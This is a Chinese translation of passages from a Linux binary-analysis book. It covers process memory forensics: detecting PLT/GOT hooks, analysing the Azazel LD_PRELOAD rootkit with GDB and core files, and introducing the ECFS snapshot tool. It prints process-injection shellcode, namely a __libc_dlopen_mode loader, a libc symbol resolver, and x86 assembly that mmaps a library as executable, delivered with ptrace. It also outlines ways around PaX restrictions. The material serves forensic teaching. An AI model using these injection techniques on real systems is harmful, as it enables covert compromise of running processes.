换句话说,如果./host程序调用 glibc 的fopen函数,而libselinux.so包含自己版本的fopen,那么 PLT/GOT(.got.plt部分)中将存储fopen函数,并且会使用libselinux.so版本而不是 glibc 版本。这将引导我们到下一个指示的项目——检测 PLT/GOT(PLT 的全局偏移表)中的函数劫持。

检测 PLT/GOT 挂钩

在检查 ELF 部分中名为.got.plt的 PLT/GOT(位于可执行文件的数据段中)之前,让我们看看./host程序中哪些函数对 PLT/GOT 有重定位。从 ELF 内部章节中记得,全局偏移表的重定位条目是<ARCH>_JUMP_SLOT类型的。详细信息请参考 ELF(5)手册。

注意

PLT/GOT 的重定位类型称为<ARCH>_JUMP_SLOT,因为它们就是那样——跳转槽。它们包含函数指针,PLT 使用 jmp 指令将控制传输到目标函数。实际的重定位类型根据架构命名为X86_64_JUMP_SLOT, i386_JUMP_SLOT等等。

以下是识别共享库函数的示例:

$ readelf -r host
Relocation section '.rela.plt' at offset 0x418 contains 7 entries:
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0
000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main+0
000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__+0
000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 pause + 0
000000601048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0

我们可以看到有几个调用的知名 glibc 函数。可能其中一些或全部被冒牌共享库libselinux.so劫持。

识别不正确的 GOT 地址

readelf输出中显示./host可执行文件中的 PLT/GOT 条目,我们可以看到每个符号的地址。让我们来看看内存中全局偏移表中以下符号的地址:fopenopendirunlink。这些可能已经被劫持,不再指向libc.so库。

以下是 GDB 输出显示 GOT 值的示例:

(gdb) x/gx 0x601048
0x601048 <fopen@got.plt>:  0x00007fc30b44e609
(gdb) x/gx 0x601018
0x601018 <unlink@got.plt>:  0x00007fc30b44ec81
(gdb) x/gx 0x601028
0x601028 <opendir@got.plt>:  0x00007fc30b44ed77

快速查看selinux.so共享库的可执行内存区域,我们可以看到 GDB 中 GOT 中显示的地址指向selinux.so内部的函数,而不是libc.so

7fc30b44b000-7fc30b453000 r-xp  /home/user/git/azazel/libselinux.so

对于这种特定的恶意软件(Azazel),恶意共享库是使用LD_PRELOAD预加载的,这使得验证库是否可疑变得非常简单。但情况并非总是如此,因为许多形式的恶意软件将通过ptrace()或使用mmap()__libc_dlopen_mode()的 shellcode 注入共享库。确定共享库是否已被注入的启发式方法将在下一节详细介绍。

注意

正如我们将在下一章中看到的那样,用于进程内存取证的 ECFS 技术具有一些功能,使得识别注入的 DLL 和其他类型的 ELF 对象几乎变得简单。

ET_DYN 注入内部

正如我们刚刚演示的,检测已使用LD_PRELOAD预加载的共享库是相当简单的。那么注入到远程进程中的共享库呢?换句话说,已插入到现有进程中的共享对象呢?如果我们想要能够迈出下一步并检测 PLT/GOT 钩子,那么知道共享库是否被恶意注入是很重要的。首先,我们必须确定共享库可以被注入到远程进程的所有方式,正如我们在第 7.2.2 节中简要讨论的那样。

让我们看一个具体的例子,说明这可能是如何实现的。这是 Saruman 的一些示例代码,它将 PIE 可执行文件注入到进程中。

注意

PIE 可执行文件与共享库的格式相同,因此相同的代码将适用于将任一类型注入到进程中。

使用readelf实用程序,我们可以看到在标准 C 库(libc.so.6)中存在一个名为__libc_dlopen_mode的函数。这个函数实际上实现了与dlopen函数相同的功能,而dlopen函数并不驻留在libc中。这意味着对于任何使用libc的进程,我们都可以让动态链接器加载我们想要的任何ET_DYN对象,同时还自动处理所有的重定位补丁。

示例 - 查找 __libc_dlopen_mode 符号

攻击者通常使用这个函数将ET_DYN对象加载到进程中:

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep dlopen
  2128: 0000000000136160   146 FUNC    GLOBAL DEFAULT   12 __libc_dlopen_mode@@GLIBC_PRIVATE

代码示例 - __libc_dlopen_mode shellcode

以下代码是用 C 编写的,但编译成机器代码后,可以作为我们使用ptrace注入到进程中的 shellcode:

#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates dlopen behaviour
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr)
{
        void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
        void *handle = (void *)0xfff; //initialized for debugging
        handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
        __RETURN_VALUE__(handle);
        __BREAKPOINT__;
}

注意其中一个参数是void *dlopen_addr。Saruman 定位了__libc_dlopen_mode()函数的地址,该函数驻留在libc.so中。这是通过一个解析libc库中符号的函数来实现的。

代码示例 - libc 符号解析

以下代码还有许多细节,我强烈建议您查看 Saruman。它专门用于注入编译为ET_DYN对象的可执行程序,但正如之前提到的,注入方法也适用于共享库,因为它们也编译为ET_DYN对象:

Elf64_Addr get_sym_from_libc(handle_t *h, const char *name)
{
        int fd, i;
        struct stat st;
        Elf64_Addr libc_base_addr = get_libc_addr(h->tasks.pid);
        Elf64_Addr symaddr;

        if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {
                perror("open libc");
                exit(-1);
        }

        if (fstat(fd, &st) < 0) {
                perror("fstat libc");
                exit(-1);
        }

        uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
        if (libcp == MAP_FAILED) {
                perror("mmap libc");
                exit(-1);
        }

        symaddr = resolve_symbol((char *)name, libcp);
        if (symaddr == 0) {
                printf("[!] resolve_symbol failed for symbol '%s'\n", name);
                printf("Try using --manual-elf-loading option\n");
                exit(-1);
        }
        symaddr = symaddr + globals.libc_addr;

        DBG_MSG("[DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: %lx\n", symaddr);
        return symaddr;

}

为了进一步揭开共享库注入的神秘面纱,让我向您展示一种更简单的技术,即使用ptrace注入的 shellcode 来将共享库open()/mmap()到进程地址空间中。这种技术可以使用,但需要恶意软件手动处理所有的热补丁重定位。__libc_dlopen_mode()函数通过动态链接器本身透明地处理所有这些,因此从长远来看实际上更容易。

代码示例-用于 mmap() ET_DYN 对象的 x86_32 shellcode

以下 shellcode 可以注入到给定进程中的可执行段中,然后使用ptrace执行。

请注意,这是我在本书中第二次使用这个手写的 shellcode 作为示例。我在 2008 年为 32 位 Linux 系统编写了它,并且方便在示例中使用。否则,我肯定会写一些新的内容来演示 x86_64 Linux 中更现代的方法:

_start:
        jmp B
A:

        # fd = open("libtest.so.1.0", O_RDONLY);

        xorl %ecx, %ecx
        movb $5, %al
        popl %ebx
        xorl %ecx, %ecx
        int $0x80

        subl $24, %esp

        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

        xorl %edx, %edx
        movl %edx, (%esp)
        movl $8192,4(%esp)
        movl $7, 8(%esp)
        movl $2, 12(%esp)
        movl %eax,16(%esp)
        movl %edx, 20(%esp)
        movl $90, %eax
        movl %esp, %ebx
        int $0x80

        # the int3 will pass control back the tracer
        int3
B:
        call A
        .string "/lib/libtest.so.1.0"

使用PTRACE_POKETEXT注入它,并使用PTRACE_SETREGS%eip设置为 shellcode 的入口点,一旦 shellcode 触发int3指令,它将有效地将控制权传递回执行感染的程序。然后,它可以简单地从现在感染了共享库(/lib/libtest.so.1.0)的主机进程中分离出来。

在某些情况下,例如启用了 PaX mprotect 限制的二进制文件(pax.grsecurity.net/docs/mprotect.txt),ptrace系统调用无法用于将 shellcode 注入到文本段中。这是因为它是只读的,并且限制还将阻止将文本段标记为可写,因此您不能简单地绕过这一点。但是,可以通过几种方式来规避这一限制,例如将指令指针设置为__libc_dlopen_mode并将函数的参数存储在寄存器中(如%rdi%rsi等)。或者,在 32 位架构的情况下,参数可以存储在堆栈上。

另一种方法是操纵大多数进程中存在的 VDSO 代码。

操纵 VDSO 执行脏工作

这种技术是在vxheaven.org/lib/vrn00.html上演示的,但是基本思想很简单。VDSO 代码映射到进程地址空间,如本章前面的/proc/<pid>/maps输出所示,其中包含通过syscall(64 位)和sysenter(32 位)指令调用系统调用的代码。在 Linux 中,系统调用的调用约定总是将系统调用号放在%eax/%rax寄存器中。

如果攻击者使用ptrace(PTRACE_SYSCALL, …),他们可以快速定位 VDSO 代码中的 syscall 指令,并替换寄存器值以调用所需的系统调用。如果这样做得当,并且在恢复原始正在执行的系统调用时进行,那么它不会导致应用程序崩溃。openmmap系统调用可用于将可执行对象(如ET_DYNET_REL)加载到进程地址空间中。或者,它们可以用于简单地创建一个可以存储 shellcode 的匿名内存映射。

这是一个代码示例,攻击者利用这个代码在 32 位系统上:

fffe420 <__kernel_vsyscall>:
ffffe420:       51                      push   %ecx
ffffe421:       52                      push   %edx
ffffe422:       55                      push   %ebp
ffffe423:       89 e5                   mov    %esp,%ebp
ffffe425:       0f 34                   sysenter

注意

在 64 位系统上,VDSO 包含至少两个使用 syscall 指令的位置。攻击者可以操纵其中任何一个。

以下是一个代码示例,攻击者利用这个代码在 64 位系统上:

ffffffffff700db8:       b0 60                   mov    $0x60,%al
ffffffffff700dba:       0f 05                   syscall

共享对象加载-合法与否?

动态链接器是将共享库引入进程的唯一合法方式。但是,请记住,攻击者可以使用__libc_dlopen_mode函数,该函数调用动态链接器来加载对象。那么我们如何知道动态链接器是否在进行合法工作呢?有三种合法的方式,动态链接器将共享对象映射到进程中。

合法的共享对象加载

让我们看看我们认为是合法的共享对象加载的方式:

  • 可执行程序中有一个有效的DT_NEEDED条目,对应于共享库文件。

  • 动态链接器有效加载的共享库可能会有自己的DT_NEEDED条目,以便加载其他共享库。这可以称为传递式共享库加载。

  • 如果程序链接了libdl.so,那么它可以使用动态加载函数来动态加载库。加载共享对象的函数名为dlopen,解析符号的函数名为dlsym

注意

正如我们之前讨论过的,LD_PRELOAD环境变量也会调用动态链接器,但这种方法处于灰色地带,因为它通常用于合法和非法两种目的。因此,它没有包括在合法的共享对象加载列表中。

非法的共享对象加载

现在,让我们看看共享对象可以被加载到进程中的非法方式,也就是说,由攻击者或恶意软件实例:

  • __libc_dlopen_mode函数存在于libc.so(而不是libdl.so)中,并且不打算由程序调用。它实际上被标记为GLIBC PRIVATE函数。大多数进程都有libc.so,因此这是攻击者或恶意软件常用的函数,用于加载任意共享对象。

  • VDSO操纵。正如我们已经展示的,这种技术可以用于执行任意系统调用,因此可以简单地使用这种方法内存映射共享对象。

  • 直接调用openmmap系统调用的 Shellcode。

  • 攻击者可以通过覆盖可执行文件或共享库的动态段中的DT_NULL标签来添加DT_NEEDED条目,从而能够告诉动态链接器加载他们希望加载的任何共享对象。这种特定方法在第六章中已经讨论过,更多地属于那一章的主题,但在检查可疑进程时可能也是必要的。

注意

确保检查可疑进程的二进制,并验证动态段是否看起来可疑。参考第六章中的检查动态段以查找 DLL 注入痕迹部分。

现在我们已经清楚地定义了合法与非法加载共享对象的标准,我们可以开始讨论检测共享库是否合法的启发式方法。

值得注意的是,LD_PRELOAD通常用于好坏两种目的,唯一确定的方法是检查预加载的共享对象中实际的代码。因此,在这里的启发式讨论中,我们将不讨论LD_PRELOAD

.so 注入检测的启发式方法

在这一部分,我将描述检测共享库是否合法的一般原则。在第八章中,我们将讨论 ECFS 技术,该技术实际上将这些启发式方法纳入了其功能集中。

现在,让我们只看原则。我们想要获取映射到进程的共享库列表,然后查看哪些符合动态链接器的合法加载条件:

  1. /proc/<pid>/maps文件中获取共享对象路径列表。

注意

一些恶意注入的共享库不会出现为文件映射,因为攻击者创建了匿名内存映射,然后将共享对象代码复制到这些内存区域中。在下一章中,我们将看到 ECFS 也可以清除这些更隐秘的实体。可以扫描每个匿名映射到可执行内存区域,以查看是否存在 ELF 头,特别是具有ET_DYN文件类型的头。

  1. 确定可执行文件中是否存在与您所看到的共享库对应的有效DT_NEEDED条目。如果存在,则它是合法的共享库。在验证了给定的共享库是合法的之后,检查该共享库的动态段,并枚举其中的DT_NEEDED条目。这些对应的共享库也可以标记为合法的。这回到了传递共享对象加载的概念。

  2. 查看进程的实际可执行程序的PLT/GOT。如果使用了任何dlopen调用,则分析代码以查找任何dlopen调用。dlopen调用可能会传递静态检查的参数,例如:

void *handle = dlopen("somelib.so", RTLD_NOW);

在这种情况下,字符串将被存储为静态常量,因此将位于二进制文件的.rodata部分。因此,检查.rodata部分(或者存储字符串的任何地方)是否包含任何包含您要验证的共享库路径的字符串。

  1. 如果在 maps 文件中找到的任何共享对象路径找不到或者不能由DT_NEEDED部分解释,并且也不能由任何dlopen调用解释,那么这意味着它要么是由LD_PRELOAD预加载,要么是由其他方式注入的。在这一点上,您应该将共享对象标记为可疑。

用于检测 PLT/GOT 挂钩的工具

目前,在 Linux 中没有太多专门用于进程内存分析的好工具。这就是我设计 ECFS 的原因(在第八章中讨论,“ECFS – 扩展核心文件快照技术”)。我知道的只有几个工具可以检测 PLT/GOT 覆盖,它们每一个基本上都使用我们刚刚讨论的相同的启发式方法:

  • Linux VMA Voodoo:这个工具是我在 2011 年通过 DARPA CFT 计划设计的原型。它能够检测许多类型的进程内存感染,但目前只能在 32 位系统上运行,而且不对公众开放。然而,新的 ECFS 实用程序是开源的,受到 VMA Voodoo 的启发。您可以在www.bitlackeys.org/#vmavudu了解 VMA Voodoo。

  • ECFS(扩展核心文件快照)技术:这项技术最初是为了在 Linux 中作为本机快照格式用于进程内存取证工具而设计的。它已经发展成为更多的东西,并且有一个专门的章节介绍它(第八章,“ECFS – 扩展核心文件快照技术”)。它可以在github.com/elfmaster/ecfs找到。

  • Volatility plt_hook:Volatility 软件主要用于全系统内存分析,但 Georg Wicherski 在 2013 年设计了一个插件,专门用于检测进程内的 PLT/GOT 感染。这个插件使用了我们之前讨论的类似的启发式方法。这个功能现在已经与 Volatility 源代码合并在一起,可以在github.com/volatilityfoundation/volatility找到。

Linux ELF 核心文件

在大多数 UNIX 风格的操作系统中,可以向进程发送信号,以便它转储核心文件。核心文件本质上是进程及其状态在核心(崩溃或转储)之前的快照。核心文件是一种 ELF 文件,主要由程序头和内存段组成。它们还包含大量的注释,描述文件映射、共享库路径和其他信息。

核心文件本身对于进程内存取证并不特别有用,但对于更敏锐的分析师可能会产生一些结果。

注意

这实际上是 ECFS 介入的地方;它是常规 Linux ELF 核心格式的扩展,并提供了专门用于取证分析的功能。

核心文件的分析- Azazel rootkit

在这里,我们将使用LD_PRELOAD环境变量感染一个进程,然后向该进程发送中止信号,以便我们可以捕获用于分析的核心转储。

启动 Azazel 感染的进程并获取核心转储

$ LD_PRELOAD=./libselinux.so ./host &
[1] 9325
$ kill -ABRT `pidof host`
[1]+  Segmentation fault      (core dumped) LD_PRELOAD=./libselinux.so ./host

核心文件程序头

在核心文件中,有许多程序头。除了一个之外,所有程序头都是PT_LOAD类型。对于进程中的每个内存段,都有一个PT_LOAD程序头,特殊设备(即/dev/mem)除外。从共享库和匿名映射到堆栈、堆、文本和数据段,所有内容都由程序头表示。

然后,有一个PT_NOTE类型的程序头;它包含了整个核心文件中最有用和描述性的信息。

PT_NOTE 段

接下来显示的eu-readelf -n输出显示了核心文件注释段的解析。我们之所以在这里使用eu-readelf而不是常用的readelf,是因为 eu-readelf(ELF Utils 版本)需要时间来解析注释段中的每个条目,而更常用的readelf(binutils 版本)只显示NT_FILE条目:

$ eu-readelf -n core

Note segment of 4200 bytes at offset 0x900:
  Owner          Data size  Type
  CORE                 336  PRSTATUS
    info.si_signo: 11, info.si_code: 0, info.si_errno: 0, cursig: 11
    sigpend: <>
    sighold: <>
    pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781
    utime: 5.292000, stime: 0.004000, cutime: 0.000000, cstime: 0.000000
    orig_rax: -1, fpvalid: 1
    r15:                       0  r14:                       0
    r13:         140736185205120  r12:                 4195616
    rbp:      0x00007fffb25380a0  rbx:                       0
    r11:                     582  r10:         140736185204304
    r9:                 15699984  r8:               1886848000
    rax:                      -1  rcx:                    -160
    rdx:         140674792738928  rsi:              4294967295
    rdi:                 4196093  rip:      0x000000000040064f
    rflags:   0x0000000000000286  rsp:      0x00007fffb2538090
    fs.base:   0x00007ff1677a1740  gs.base:   0x0000000000000000
    cs: 0x0033  ss: 0x002b  ds: 0x0000  es: 0x0000  fs: 0x0000  gs: 0x0000
  CORE                 136  PRPSINFO
    state: 0, sname: R, zomb: 0, nice: 0, flag: 0x0000000000406600
    uid: 0, gid: 0, pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781
    fname: host, psargs: ./host
  CORE                 128  SIGINFO
    si_signo: 11, si_errno: 0, si_code: 0
    sender PID: 7669, sender UID: 0
  CORE                 304  AUXV
    SYSINFO_EHDR: 0x7fffb254a000
    HWCAP: 0xbfebfbff  <fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe>
    PAGESZ: 4096
    CLKTCK: 100
    PHDR: 0x400040
    PHENT: 56
    PHNUM: 9
    BASE: 0x7ff1675ae000
    FLAGS: 0
    ENTRY: 0x400520
    UID: 0
    EUID: 0
    GID: 0
    EGID: 0
    SECURE: 0
    RANDOM: 0x7fffb2538399
    EXECFN: 0x7fffb2538ff1
    PLATFORM: 0x7fffb25383a9
    NULL
  CORE                1812  FILE
    30 files:
   00400000-00401000 00000000 4096        /home/user/git/azazel/host
   00600000-00601000 00000000 4096        /home/user/git/azazel/host
   00601000-00602000 00001000 4096        /home/user/git/azazel/host
   3001000000-3001019000 00000000 102400  /lib/x86_64-linux-gnu/libaudit.so.1.0.0
   3001019000-3001218000 00019000 2093056 /lib/x86_64-linux-gnu/libaudit.so.1.0.0
   3001218000-3001219000 00018000 4096    /lib/x86_64-linux-gnu/libaudit.so.1.0.0
   3001219000-300121a000 00019000 4096    /lib/x86_64-linux-gnu/libaudit.so.1.0.0
   3003400000-300340d000 00000000 53248   /lib/x86_64-linux-gnu/libpam.so.0.83.1
   300340d000-300360c000 0000d000 2093056 /lib/x86_64-linux-gnu/libpam.so.0.83.1
   300360c000-300360d000 0000c000 4096    /lib/x86_64-linux-gnu/libpam.so.0.83.1
   300360d000-300360e000 0000d000 4096    /lib/x86_64-linux-gnu/libpam.so.0.83.1
  7ff166bd9000-7ff166bdb000 00000000 8192    /lib/x86_64-linux-gnu/libutil-2.19.so
  7ff166bdb000-7ff166dda000 00002000 2093056 /lib/x86_64-linux-gnu/libutil-2.19.so
  7ff166dda000-7ff166ddb000 00001000 4096    /lib/x86_64-linux-gnu/libutil-2.19.so
  7ff166ddb000-7ff166ddc000 00002000 4096    /lib/x86_64-linux-gnu/libutil-2.19.so
  7ff166ddc000-7ff166ddf000 00000000 12288   /lib/x86_64-linux-gnu/libdl-2.19.so
  7ff166ddf000-7ff166fde000 00003000 2093056 /lib/x86_64-linux-gnu/libdl-2.19.so
  7ff166fde000-7ff166fdf000 00002000 4096    /lib/x86_64-linux-gnu/libdl-2.19.so
  7ff166fdf000-7ff166fe0000 00003000 4096    /lib/x86_64-linux-gnu/libdl-2.19.so
  7ff166fe0000-7ff16719b000 00000000 1814528 /lib/x86_64-linux-gnu/libc-2.19.so
  7ff16719b000-7ff16739a000 001bb000 2093056 /lib/x86_64-linux-gnu/libc-2.19.so
  7ff16739a000-7ff16739e000 001ba000 16384   /lib/x86_64-linux-gnu/libc-2.19.so
  7ff16739e000-7ff1673a0000 001be000 8192    /lib/x86_64-linux-gnu/libc-2.19.so
  7ff1673a5000-7ff1673ad000 00000000 32768   /home/user/git/azazel/libselinux.so
  7ff1673ad000-7ff1675ac000 00008000 2093056 /home/user/git/azazel/libselinux.so
  7ff1675ac000-7ff1675ad000 00007000 4096    /home/user/git/azazel/libselinux.so
  7ff1675ad000-7ff1675ae000 00008000 4096    /home/user/git/azazel/libselinux.so
  7ff1675ae000-7ff1675d1000 00000000 143360 /lib/x86_64-linux-gnu/ld-2.19.so
  7ff1677d0000-7ff1677d1000 00022000 4096   /lib/x86_64-linux-gnu/ld-2.19.so
  7ff1677d1000-7ff1677d2000 00023000 4096   /lib/x86_64-linux-gnu/ld-2.19.so

能够查看寄存器状态、辅助向量、信号信息和文件映射并不是坏消息,但它们本身还不足以分析进程的恶意软件感染。

PT_LOAD 段和核心文件在取证目的上的缺陷

每个内存段都包含一个程序头,描述了它所代表的段的偏移量、地址和大小。这几乎表明你可以通过程序段访问进程镜像的每个部分,但这只是部分正确的。可执行文件的文本镜像和映射到进程的每个共享库只有自己的前 4,096 字节被转储到一个段中。

这是为了节省空间,因为 Linux 内核开发人员认为文本段不会在内存中被修改。因此,在访问文本区域时,只需引用原始可执行文件和共享库即可满足调试器的需求。如果核心文件要为每个共享库转储完整的文本段,那么对于诸如 Wireshark 或 Firefox 之类的大型程序,输出的核心转储文件将是巨大的。

因此,出于调试目的,通常可以假设文本段在内存中没有发生变化,并且只需引用可执行文件和共享库文件本身来获取文本。但是对于运行时恶意软件分析和进程内存取证呢?在许多情况下,文本段已被标记为可写,并包含用于代码变异的多态引擎,在这些情况下,核心文件可能无法用于查看代码段。

此外,如果核心文件是唯一可用于分析的工件,原始可执行文件和共享库已不再可访问呢?这进一步证明了为什么核心文件并不特别适合进程内存取证;也从未打算如此。

注意

在下一章中,我们将看到 ECFS 如何解决许多使核心文件成为取证目的无用工件的弱点。

使用 GDB 进行取证的核心文件

结合原始可执行文件,并假设没有对代码进行修改(对文本段),我们仍然可以在一定程度上使用核心文件进行恶意软件分析。在这种特殊情况下,我们正在查看 Azazel rootkit 的核心文件,正如我们在本章前面所演示的那样,它具有 PLT/GOT 钩子:

$ readelf -S host | grep got.plt
  [23] .got.plt          PROGBITS         0000000000601000  00001000
$ readelf -r host
Relocation section '.rela.plt' at offset 0x3f8 contains 6 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0
000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main+0
000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0
000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0

因此,让我们来看一下我们已经知道被 Azazel 劫持的函数。fopen函数是受感染程序中的四个共享库函数之一,正如我们从前面的输出中可以看到的,它在0x601040处有一个 GOT 条目:

$ gdb -q ./host core
Reading symbols from ./host...(no debugging symbols found)...done.
[New LWP 9875]
Core was generated by `./host'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040064f in main ()
(gdb) x/gx 0x601040
0x601040 <fopen@got.plt>:  0x00007ff1673a8609
(gdb)

如果我们再次查看PT_NOTE段中的NT_FILE条目(readelf -n core),我们可以看到libc-2.19.so文件在内存中映射到的地址范围,并检查fopen的 GOT 条目是否指向了libc-2.19.so,正如它应该的那样:

$ readelf -n core
<snippet>
 0x00007ff166fe0000  0x00007ff16719b000  0x0000000000000000
        /lib/x86_64-linux-gnu/libc-2.19.so
</snippet>

fopen@got.plt指向0x7ff1673a8609。这超出了之前显示的libc-2.19.so文本段范围,即0x7ff166fe00000x7ff16719b000。使用 GDB 检查核心文件与使用 GDB 检查实时进程非常相似,您可以使用下面显示的相同方法来定位环境变量并检查LD_PRELOAD是否已设置。

以下是在核心文件中定位环境变量的示例:

(gdb) x/4096s $rsp

… scroll down a few pages …

0x7fffb25388db:  "./host"
0x7fffb25388e2:  "LD_PRELOAD=./libselinux.so"
0x7fffb25388fd:  "SHELL=/bin/bash"
0x7fffb253890d:  "TERM=xterm"
0x7fffb2538918:  "OLDPWD=/home/ryan"
0x7fffb253892a:  "USER=root"

总结

进程内存取证的艺术是法证工作的一个非常特定的方面。它主要关注与进程图像相关的内存,这本身就相当复杂,因为它需要对 CPU 寄存器、堆栈、动态链接和 ELF 有复杂的了解。

因此,熟练地检查进程中的异常确实是一种通过经验不断积累的艺术和技能。本章作为该主题的入门指南,让初学者能够了解如何开始。在下一章中,我们将讨论进程取证,您将了解 ECFS 技术如何使其变得更加容易。

在完成本章和下一章之后,我建议您使用本章中引用的一些工具在您的系统上感染一些进程,并尝试检测它们的方法。

第八章:ECFS – 扩展核心文件快照技术

扩展核心文件快照ECFS)技术是一款插入 Linux 核心处理程序并创建专门设计用于进程内存取证的特殊进程内存快照的软件。大多数人不知道如何解析进程镜像,更不用说如何检查其中的异常。即使对于专家来说,查看进程镜像并检测感染或恶意软件可能是一项艰巨的任务。

在 ECFS 之前,除了使用大多数 Linux 发行版附带的gcore脚本创建的核心文件之外,没有真正的进程镜像快照标准。如前一章简要讨论的那样,常规核心文件对于进程取证分析并不特别有用。这就是 ECFS 核心文件出现的原因——提供一种可以描述进程镜像的每一个细微差别的文件格式,以便可以进行高效分析、轻松导航,并且可以轻松集成到恶意软件分析和进程取证工具中。

在本章中,我们将讨论 ECFS 的基础知识以及如何使用 ECFS 核心文件和libecfs API 来快速设计恶意软件分析和取证工具。

历史

2011 年,我为 DARPA 合同创建了一个名为 Linux VMA Monitor 的软件原型(www.bitlackeys.org/#vmavudu)。这个软件旨在查看实时进程内存或进程内存的原始快照。它能够检测各种运行时感染,包括共享库注入、PLT/GOT 劫持和其他指示运行时恶意软件的异常。

最近,我考虑将这个软件重写为更完善的状态,我觉得为进程内存创建一个本地快照格式将是一个非常好的功能。这是开发 ECFS 的最初灵感,尽管我已经取消了重新启动 Linux VMA Monitor 软件的计划,但我仍在继续扩展和开发 ECFS 软件,因为它对其他许多人的项目非常有价值。它甚至被整合到了 Lotan 产品中,这是一款用于通过分析崩溃转储来检测利用尝试的软件(www.leviathansecurity.com/lotan)。

ECFS 的理念

ECFS 的目标是使程序的运行时分析比以往任何时候都更容易。整个过程都封装在一个单一文件中,并且以一种有序和高效的方式组织,以便通过解析部分头来访问有用的数据,如符号表、动态链接数据和取证相关结构,从而实现定位和访问对于检测异常和感染至关重要的数据和代码。

开始使用 ECFS

撰写本章时,完整的 ECFS 项目和源代码可在github.com/elfmaster/ecfs上找到。一旦你用 git 克隆了存储库,你应该按照 README 文件中的说明编译和安装软件。

目前,ECFS 有两种使用模式:

  • 将 ECFS 插入核心处理程序

  • ECFS 快照而不终止进程

注意

在本章中,术语 ECFS 文件、ECFS 快照和 ECFS 核心文件是可以互换使用的。

将 ECFS 插入核心处理程序

首先要做的是将 ECFS 核心处理程序插入 Linux 内核中。make install 会为您完成这项工作,但必须在每次重启后进行操作,或者存储在一个init脚本中。手动设置 ECFS 核心处理程序的方法是修改/proc/sys/kernel/core_pattern文件。

这是激活 ECFS 核心处理程序的命令:

echo '|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -o \ /opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern

注意

请注意设置了-t选项。这对取证非常重要,而且很少关闭。此选项告诉 ECFS 捕获任何可执行文件或共享库映射的整个文本段。在传统核心文件中,文本图像被截断为 4k。在本章的后面,我们还将研究-h选项(启发式),它可以设置为启用扩展启发式以检测共享库注入。

ecfs_handler二进制文件将调用ecfs32ecfs64,具体取决于进程是 64 位还是 32 位。我们写入 procfs core_pattern条目的行前面的管道符(|)告诉内核将其产生的核心文件导入到我们的 ECFS 核心处理程序进程的标准输入中。然后 ECFS 核心处理程序将传统核心文件转换为高度定制和出色的 ECFS 核心文件。每当进程崩溃或收到导致核心转储的信号,例如SIGSEGVSIGABRT,那么 ECFS 核心处理程序将介入并使用自己的一套特殊程序来创建 ECFS 风格的核心转储。

以下是捕获sshd的 ECFS 快照的示例:

$ kill -ABRT `pidof sshd`
$ ls -lh /opt/ecfs/cores
-rwxrwx--- 1 root root 8244638 Jul 24 13:36 sshd.1211
$

将 ECFS 作为默认的核心文件处理程序非常好,非常适合日常使用。这是因为 ECFS 核心向后兼容传统核心文件,并且可以与诸如 GDB 之类的调试器一起使用。但是,有时用户可能希望捕获 ECFS 快照而无需终止进程。这就是 ECFS 快照工具的用处所在。

在不终止进程的情况下进行 ECFS 快照

让我们考虑一个场景,有一个可疑的进程正在运行。它可疑是因为它消耗了大量的 CPU,并且它打开了网络套接字,尽管已知它不是任何类型的网络程序。在这种情况下,可能希望让进程继续运行,以便潜在的攻击者尚未被警告,但仍然具有生成 ECFS 核心文件的能力。在这些情况下应该使用ecfs_snapshot实用程序。

ecfs_snapshot实用程序最终使用 ptrace 系统调用,这意味着两件事:

  • 捕获进程的快照可能需要更长的时间。

  • 它可能对使用反调试技术防止 ptrace 附加的进程无效

在这些问题中的任何一个成为问题的情况下,您可能需要考虑使用 ECFS 核心处理程序来处理工作,这种情况下您将不得不终止进程。然而,在大多数情况下,ecfs_snapshot实用程序将起作用。

以下是使用快照实用程序捕获 ECFS 快照的示例:

$ ecfs_snapshot -p `pidof host` -o host_snapshot

这为程序 host 捕获了快照,并创建了一个名为host_snapshot的 ECFS 快照。在接下来的章节中,我们将演示 ECFS 的一些实际用例,并使用各种实用程序查看 ECFS 文件。

libecfs - 用于解析 ECFS 文件的库

ECFS 文件格式非常容易使用传统的 ELF 工具进行解析,比如readelf,但是为了构建自定义的解析工具,我强烈建议您使用 libecfs 库。这个库是专门设计用于轻松解析 ECFS 核心文件的。稍后在本章中,我们将演示更多细节,当我们设计高级恶意软件分析工具来检测被感染的进程时。

libecfs 也用于正在开发的readecfs实用程序,这是一个用于解析 ECFS 文件的工具,非常类似于众所周知的readelf实用程序。请注意,libecfs 包含在 GitHub 存储库上的 ECFS 软件包中。

readecfs

在本章的其余部分中,将使用readecfs实用程序来演示不同的 ECFS 功能。以下是从readecfs -h中的工具的概要:

Usage: readecfs [-RAPSslphega] <ecfscore>
